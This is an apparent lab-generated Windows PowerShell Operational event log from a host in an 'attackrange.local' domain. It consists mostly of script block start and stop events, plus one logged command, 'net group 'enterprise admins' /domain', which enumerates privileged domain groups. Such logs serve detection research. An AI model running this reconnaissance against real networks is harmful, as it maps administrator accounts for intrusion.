LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023747
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023746
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023745
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023743
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023742
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023741
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023739
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023738
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023737
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023735
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023734
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023733
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023732
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b3066a8-3cbf-442d-a0c8-9d2535f5a34d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023730
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b3066a8-3cbf-442d-a0c8-9d2535f5a34d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2023729
Keywords=None
Message=Creating Scriptblock text (1 of 1):
net group 'enterprise admins' /domain

ScriptBlock ID: 8b3066a8-3cbf-442d-a0c8-9d2535f5a34d
Path:
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023727
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023725
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023724
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023723
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023722
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023721
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023719
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023718
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023717
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023715
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023758
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023756
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023754
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023752
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023750
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023768
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023766
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023764
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023762
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023760
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
